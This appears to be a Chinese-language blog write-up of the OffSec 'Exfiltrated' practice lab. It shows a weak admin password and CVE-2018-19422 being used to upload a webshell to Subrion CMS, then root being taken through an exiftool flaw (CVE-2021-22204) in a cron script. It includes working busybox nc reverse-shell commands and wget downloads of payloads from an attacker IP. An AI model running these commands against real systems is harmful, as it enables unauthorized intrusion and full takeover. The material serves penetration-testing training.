OSCP Exfiltrated Write-up

本文最后更新于 2026年3月12日 下午

一、靶场详情

靶场名称:

Exfiltrated

靶场地址:

OffSec Proving Grounds Practice 实验环境

二、思路总结

突破边界(获取用户、管理员旗帜):

Subrion CMS 后台弱口令 –> CVE-2018-19422 上传 webshell –> www-data 用户 shell –> pspy 监控系统进程 –> 定时执行/opt/image-exif.sh 脚本 –> Exiftool 命令执行漏洞(CVE-2021-22204) –> root 用户权限 –> 用户、管理员旗帜

三、靶场攻击演示

3.1 靶场信息收集

TCP 端口扫描:

1
2
3
4
5
nmap -p- 192.168.163.163 --min-rate=2000

PORT STATE SERVICE
22/tcp open ssh
80/tcp open http

UDP 端口扫描:未发现有价值信息。

TCP 服务信息搜集:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
sudo nmap -p22,80 -sCV 192.168.163.163

PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 c1:99:4b:95:22:25:ed:0f:85:20:d3:63:b4:48:bb:cf (RSA)
| 256 0f:44:8b:ad:ad:95:b8:22:6a:f0:36:ac:19:d0:0e:f3 (ECDSA)
|_ 256 32:e1:2a:6c:cc:7c:e6:3e:23:f4:80:8d:33:ce:9b:3a (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Did not follow redirect to http://exfiltrated.offsec/
| http-robots.txt: 7 disallowed entries
| /backup/ /cron/? /front/ /install/ /panel/ /tmp/
|_/updates/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

系统为 Linux 环境,开放有 HTTP、SSH 服务。

3.2 渗透测试突破边界(获取用户旗帜)

3.2.1 Subrion CMS 后台文件上传(弱口令、CVE-2018-19422)

根据 nmap 扫描结果在 kali 配置靶机域名解析。

1
echo "192.168.163.163\texfiltrated.offsec" | sudo tee -a /etc/hosts

访问靶机 HTTP 服务,查看网页源代码得知系统为 Subrion CMS 4.2。

searchsploit 检索发现可能存在文件上传漏洞利用代码,将其复制到当前目录。

1
searchsploit Subrion

1
searchsploit -m php/webapps/49876.py

通读代码,发现需要系统后台用户名密码,经测试后台刚好存在弱口令。

1
admin/admin

使用漏洞利用脚本成功获取到系统 www-data 用户 shell。

1
python3 49876.py -u http://exfiltrated.offsec/panel/ -l admin -p admin

为了方便之后的操作,升级为交互式 shell。

1
2
3
4
5
6
7
8
9
10
11
12
13
# kali
nc -lvnp 1234

# shell
busybox nc 192.168.45.172 1234 -e /bin/bash

# 升级 shell
python3 -c 'import pty; pty.spawn("/bin.bash")'
ctrl + z
stty raw -echo;fg
export SHELL=/bin/bash
export TERM=screen
stty rows 33 columns 157

3.2.2 Exiftool 命令执行漏洞(CVE-2021-22204)

上传 pspy 工具,发现系统会定时以 root 权限执行/opt/image-exif.sh 脚本。

脚本中使用了 exiftool 工具处理/var/www/html/subrion/uploads 目录 jpg 图片。

使用-ver 参数可知 exiftool 工具版本信息,经检索发现该工具存在命令执行漏洞(CVE-2021-22204)。

参考链接:

1
https://github.com/OneSecCyber/JPEG_RCE

将链接中的攻击配置文件和图片上传至靶机/var/www/html/subrion/uploads 目录,然后将反弹 shell 参数写入图片,在 kali 使用 nc 监听 1234 端口,系统再次运行脚本时,成功获取到系统 root 用户权限。

1
2
3
4
5
6
7
8
9
10
11
12
13
# kali
git clone https://github.com/OneSecCyber/JPEG_RCE.git
cd JPEG_RCE
goshs

# 靶机
cd /var/www/html/subrion/uploads
wget http://192.168.45.172/eval.config
wget http://192.168.45.172/runme.jpg
exiftool -config eval.config runme.jpg -eval='busybox nc 192.168.45.172 1234 -e /bin/bash'

# kali
nc -lvnp 1234

3.2.3 用户和管理员旗帜获取

Thanks

如果我的文章对您有帮助或您希望与我更多交流,欢迎点击「关于我」,通过页面中的微信公众号、邮箱或 Discord 与我联系;若您发现文章中存在任何错误或不足之处,也非常欢迎通过以上方式指出,在此一并致以衷心的感谢。 😊🫡

最后,祝您生活愉快!🌞✨


OSCP Exfiltrated Write-up
https://www.f0nesec.top/2025/08/19/oscp-exfiltrated/
作者
F0ne
发布于
2025年8月19日
许可协议